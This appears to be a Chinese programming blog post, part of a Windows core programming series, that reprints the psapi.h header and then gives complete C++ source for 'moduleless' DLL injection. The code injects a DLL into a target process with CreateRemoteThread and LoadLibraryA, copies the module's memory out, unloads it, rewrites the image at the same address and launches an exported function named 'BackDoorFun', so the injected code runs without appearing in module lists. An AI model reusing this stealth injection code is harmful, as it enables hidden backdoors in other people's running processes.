• 基于visual c++之windows核心编程代码分析(63)无模块dll进程注射


    我们在信息安全编程的时候经常需要进行dll进程注入,

    我们在编程中如何实现呢。

    需要引用

    Psapi.Lib,具体可以百度下载之。

    其头文件如下,

    odule Name:
    
        psapi.h
    
    Abstract:
    
        Include file for APIs provided by PSAPI.DLL
    
    Author:
    
        Richard Shupak   [richards]  06-Jan-1994
    
    Revision History:
    
    --*/
    
    #ifndef _PSAPI_H_
    #define _PSAPI_H_
    
    #ifdef __cplusplus
    extern "C" {
    #endif
    
    BOOL
    WINAPI
    EnumProcesses(
        DWORD * lpidProcess,
        DWORD   cb,
        DWORD * cbNeeded
        );
    
    BOOL
    WINAPI
    EnumProcessModules(
        HANDLE hProcess,
        HMODULE *lphModule,
        DWORD cb,
        LPDWORD lpcbNeeded
        );
    
    DWORD
    WINAPI
    GetModuleBaseNameA(
        HANDLE hProcess,
        HMODULE hModule,
        LPSTR lpBaseName,
        DWORD nSize
        );
    
    DWORD
    WINAPI
    GetModuleBaseNameW(
        HANDLE hProcess,
        HMODULE hModule,
        LPWSTR lpBaseName,
        DWORD nSize
        );
    
    #ifdef UNICODE
    #define GetModuleBaseName  GetModuleBaseNameW
    #else
    #define GetModuleBaseName  GetModuleBaseNameA
    #endif // !UNICODE
    
    
    DWORD
    WINAPI
    GetModuleFileNameExA(
        HANDLE hProcess,
        HMODULE hModule,
        LPSTR lpFilename,
        DWORD nSize
        );
    
    DWORD
    WINAPI
    GetModuleFileNameExW(
        HANDLE hProcess,
        HMODULE hModule,
        LPWSTR lpFilename,
        DWORD nSize
        );
    
    #ifdef UNICODE
    #define GetModuleFileNameEx  GetModuleFileNameExW
    #else
    #define GetModuleFileNameEx  GetModuleFileNameExA
    #endif // !UNICODE
    
    
    typedef struct _MODULEINFO {
        LPVOID lpBaseOfDll;
        DWORD SizeOfImage;
        LPVOID EntryPoint;
    } MODULEINFO, *LPMODULEINFO;
    
    
    BOOL
    WINAPI
    GetModuleInformation(
        HANDLE hProcess,
        HMODULE hModule,
        LPMODULEINFO lpmodinfo,
        DWORD cb
        );
    
    
    BOOL
    WINAPI
    EmptyWorkingSet(
        HANDLE hProcess
        );
    
    
    BOOL
    WINAPI
    QueryWorkingSet(
        HANDLE hProcess,
        PVOID pv,
        DWORD cb
        );
    
    BOOL
    WINAPI
    InitializeProcessForWsWatch(
        HANDLE hProcess
        );
    
    
    typedef struct _PSAPI_WS_WATCH_INFORMATION {
        LPVOID FaultingPc;
        LPVOID FaultingVa;
    } PSAPI_WS_WATCH_INFORMATION, *PPSAPI_WS_WATCH_INFORMATION;
    
    BOOL
    WINAPI
    GetWsChanges(
        HANDLE hProcess,
        PPSAPI_WS_WATCH_INFORMATION lpWatchInfo,
        DWORD cb
        );
    
    DWORD
    WINAPI
    GetMappedFileNameW(
        HANDLE hProcess,
        LPVOID lpv,
        LPWSTR lpFilename,
        DWORD nSize
        );
    
    DWORD
    WINAPI
    GetMappedFileNameA(
        HANDLE hProcess,
        LPVOID lpv,
        LPSTR lpFilename,
        DWORD nSize
        );
    
    #ifdef UNICODE
    #define GetMappedFilenameEx  GetMappedFilenameExW
    #else
    #define GetMappedFilenameEx  GetMappedFilenameExA
    #endif // !UNICODE
    
    BOOL
    WINAPI
    EnumDeviceDrivers(
        LPVOID *lpImageBase,
        DWORD cb,
        LPDWORD lpcbNeeded
        );
    
    
    DWORD
    WINAPI
    GetDeviceDriverBaseNameA(
        LPVOID ImageBase,
        LPSTR lpBaseName,
        DWORD nSize
        );
    
    DWORD
    WINAPI
    GetDeviceDriverBaseNameW(
        LPVOID ImageBase,
        LPWSTR lpBaseName,
        DWORD nSize
        );
    
    #ifdef UNICODE
    #define GetDeviceDriverBaseName  GetDeviceDriverBaseNameW
    #else
    #define GetDeviceDriverBaseName  GetDeviceDriverBaseNameA
    #endif // !UNICODE
    
    
    DWORD
    WINAPI
    GetDeviceDriverFileNameA(
        LPVOID ImageBase,
        LPSTR lpFilename,
        DWORD nSize
        );
    
    DWORD
    WINAPI
    GetDeviceDriverFileNameW(
        LPVOID ImageBase,
        LPWSTR lpFilename,
        DWORD nSize
        );
    
    #ifdef UNICODE
    #define GetDeviceDriverFileName  GetDeviceDriverFileNameW
    #else
    #define GetDeviceDriverFileName  GetDeviceDriverFileNameA
    #endif // !UNICODE
    
    // Structure for GetProcessMemoryInfo()
    
    typedef struct _PROCESS_MEMORY_COUNTERS {
        DWORD cb;
        DWORD PageFaultCount;
        DWORD PeakWorkingSetSize;
        DWORD WorkingSetSize;
        DWORD QuotaPeakPagedPoolUsage;
        DWORD QuotaPagedPoolUsage;
        DWORD QuotaPeakNonPagedPoolUsage;
        DWORD QuotaNonPagedPoolUsage;
        DWORD PagefileUsage;
        DWORD PeakPagefileUsage;
    } PROCESS_MEMORY_COUNTERS;
    typedef PROCESS_MEMORY_COUNTERS *PPROCESS_MEMORY_COUNTERS;
    
    BOOL
    WINAPI
    GetProcessMemoryInfo(
        HANDLE Process,
        PPROCESS_MEMORY_COUNTERS ppsmemCounters,
        DWORD cb
        );
    
    #ifdef __cplusplus
    }
    #endif
    
    #endif
    


     

    无模块dll进程注入请见下列代码与分析

    #include "stdafx.h"
    #include "windows.h"
    #include "stdio.h"
    #include "Psapi.h"
    #include "Tlhelp32.h"
    
    
    //获得加载的DLL模块的信息,主要包括模块基地址和模块大小
    BOOL GetThreadInformation(DWORD ProcessID,char* Dllfullname,MODULEENTRY32 &Thread)
    {
    		HANDLE hthSnapshot = NULL; 
    		// 取得指定进程的所有模块映象. 
    		hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,ProcessID); 
    		if (hthSnapshot == NULL) 
    			return FALSE;
    		// 取得所有模块列表中的指定的模块. 
    		BOOL bMoreMods = Module32First(hthSnapshot, &Thread); 
    		if (bMoreMods == FALSE)
    			return FALSE;
    		// 循环取得想要的模块. 
    		for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &Thread)) 
    		{
    			if (strcmp(Thread.szExePath, Dllfullname) == 0)
    				break; 
    		}
    		if (strcmp(Thread.szExePath, Dllfullname) == 0)
    			return TRUE;
    		else
    			return FALSE;
    
    }
    //调整进程权限
    BOOL AdjustPrivileges(HANDLE hProcess,LPCTSTR lpPrivilegeName)
    {
    	//******************************************************
    	//调整进程权限
    	//******************************************************
    	HANDLE hToken;                 
        TOKEN_PRIVILEGES tkp;     
        //打开进程的权限标记
    	if (!::OpenProcessToken(hProcess,       
               TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 
    		   return FALSE;
    	//传入lpPrivilegeName的Luid值
        if(!::LookupPrivilegeValue(NULL,         
    		  lpPrivilegeName,    
              &tkp.Privileges[0].Luid)) 
    		  return FALSE;
    
    	tkp.PrivilegeCount = 1;  
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
    	if(!::AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, 
                             (PTOKEN_PRIVILEGES) NULL, 0))
    						 return FALSE;
    	return TRUE;
    }
    //注入DLL部分
    BOOL InjectRemoteProcess(HANDLE hProcess,char* Dllfullname)
    {
    	
    	//开辟虚拟空间,以便写入DLL的完整路径
    	PSTR pDllName=NULL;
    	if((pDllName=(PSTR)::VirtualAllocEx(hProcess,
    		NULL,
    		strlen(Dllfullname)+1,
    		MEM_COMMIT|MEM_RESERVE,
    		PAGE_EXECUTE_READWRITE))==NULL)
    		return FALSE;
    
    	BOOL  writecode;
    	if((writecode=::WriteProcessMemory(hProcess,
    		pDllName,
            Dllfullname,
    		strlen(Dllfullname)+1,
    		NULL))==0)
    		return FALSE;
    
    	//取得LoadLibrary函数在Kernel32.dll中的地址. 
    	PTHREAD_START_ROUTINE pfnThreadRtn = 
    			(PTHREAD_START_ROUTINE)GetProcAddress( 
    			GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); 
    	if (pfnThreadRtn== NULL)
    		return FALSE;
        //打开远线程
    	HANDLE  hRemoteThread=NULL;
    	if((hRemoteThread=::CreateRemoteThread(hProcess,
    		NULL,
    		0,
            pfnThreadRtn,
    		pDllName,    //loadlibrary参数,即dll的路径字符串在远程进程中的地址,若是多参数则放在一个结构体中
    		0,
    		NULL))==NULL)
    		return FALSE;
    	return TRUE;
    }
    //卸载DLL
    BOOL UnistallDll(HANDLE hProcess,BYTE  * Address)
    {
    	
    	// 取得FreeLibrary函数在Kernel32.dll中的地址.
    	HANDLE hThread  = NULL; 
    	PTHREAD_START_ROUTINE pfnThreadRtn = 
    			(PTHREAD_START_ROUTINE)GetProcAddress( 
    			GetModuleHandle("Kernel32.dll"), "FreeLibrary"); 
    	if (pfnThreadRtn == NULL)
    		return FALSE;
    	// 创建远程线程来执行FreeLibrary函数. 
    	hThread = ::CreateRemoteThread(hProcess, 
    			NULL, 
    			0, 
    			pfnThreadRtn, 
    			Address, 
    			0, 
    			NULL); 
    	if (hThread == NULL) 
    		return FALSE;
    	// 等待远程线程终止.
    	::WaitForSingleObject(hThread, INFINITE); 
    	// 关闭句柄. 
    	::CloseHandle(hThread);
    	return TRUE;
    
    }
    
    #define pid 3844
    #define BackDoorFun 0x1014//DLL模块中导出函数的地址
    int main(int argc, char* argv[])
    {
    	char Dllfullname[255];
    	char Dllname[255];
    	//打开进程
    	HANDLE hRemoteProcess=NULL;
    	if((hRemoteProcess=::OpenProcess(PROCESS_ALL_ACCESS,  
    	    FALSE, 
    		pid))==NULL)
    	{
    		printf("OpenProcess faile!!");
    		return 0;
    	}
    
    	BOOL Adjust=AdjustPrivileges(hRemoteProcess,SE_DEBUG_NAME);
    	if(Adjust==FALSE)
    	{
    		printf("Adjust process Privileges faile!!\n");
    		return 0;
    	}
    
    	//获得DLL的完整路径
        strcpy(Dllname,"dll.dll");
    	::GetCurrentDirectory(255,Dllfullname);
        strcat(Dllfullname,"\\");
    	strcat(Dllfullname,Dllname);
    
    	BOOL Res=InjectRemoteProcess(hRemoteProcess,Dllfullname);
    	if(Res==FALSE)
    	{
    		printf("Inject Faile!!\n");
    		return 0;
    	}
    	
    	//等待远线程启动,否则获取不到插入的dll信息
    	::Sleep(300);
    	
    	DWORD RemoteTheadAddress=0;
    	MODULEENTRY32 Thread = {sizeof(Thread)};; 
    	RemoteTheadAddress=GetThreadInformation(pid,Dllfullname,Thread);
    	if(RemoteTheadAddress==0)
    	{
    		printf("Get RemoteTheadAddress Faile!!\n");
    			return 0;
    	}
    	
    	//分配保存DLL加载后的的缓冲区,并保存
    	char *buffer=new char[Thread.modBaseSize+1];
    	DWORD read;
    	::ReadProcessMemory(hRemoteProcess,
    		Thread.modBaseAddr,//加载的DLL模块基地址
    		buffer,
    		Thread.modBaseSize,//加载的DLL代码的大小
    		&read);
    	//卸载DLL
    	BOOL Unstall=UnistallDll(hRemoteProcess,Thread.modBaseAddr);
    	if(Unstall==FALSE)
    	{
    		printf("Unistall dll Faile!!!\n");
    		return 0;
    	}
    	//重新分配虚拟内存,注意从原模块基地址出开始分配
    	LPVOID Alloc;
    	Alloc=::VirtualAllocEx(hRemoteProcess,Thread.modBaseAddr,Thread.modBaseSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    	if(Alloc== NULL)
    	{
    		printf("VirtualAllocEx Failed!!\n");
    		return 0;
    	}
    
    	BOOL Writer;DWORD Written;
    	Writer=::WriteProcessMemory(hRemoteProcess,Thread.modBaseAddr,buffer,Thread.modBaseSize,&Written);
    	if(Writer==0)
    	{
    		printf("WriteProcessMemory Failed!!\n");
    		return 0;
    	}
    	//重新启动新的无DLL模块的线程中的函数
    	HANDLE  hNewThread=NULL;
    	if((hNewThread=::CreateRemoteThread(hRemoteProcess,
    		NULL,
    		0,
    		(PTHREAD_START_ROUTINE)(Thread.modBaseAddr+BackDoorFun),//添加到进程中的数据的基地址Thread.modBaseAddr+dll导出函数的入口点地址
    		NULL, //此处填写导出函数的参数地址,为简单期间,本导出函数没有参数,若有参数可用注入DLL中同样方法写进进程空间中
    		0,
    		NULL))==NULL)
        {
    		printf("CreateNewThread faile!!\n");
    		return 0;
    	}
    	return 0;
    }
    


     

  • 相关阅读:
    JQuery:自动触发事件
    SQL Server 取日期时间部分
    使用IIS 7.0 / 7.5 时配置HttpModules需要注意
    Winform:中直接打开指定文件
    jQuery 时间获取扩展
    喵星史话(一)——猫的起源
    2013年的环法
    ie8下奇怪的问题:float:left之后,右侧的div会影响左侧
    虚假IP和DNS污染
    android中setBackgroundResource和setBackgroundDrawable和用法
  • 原文地址:https://www.cnblogs.com/new0801/p/6177762.html
Copyright © 2020-2023  润新知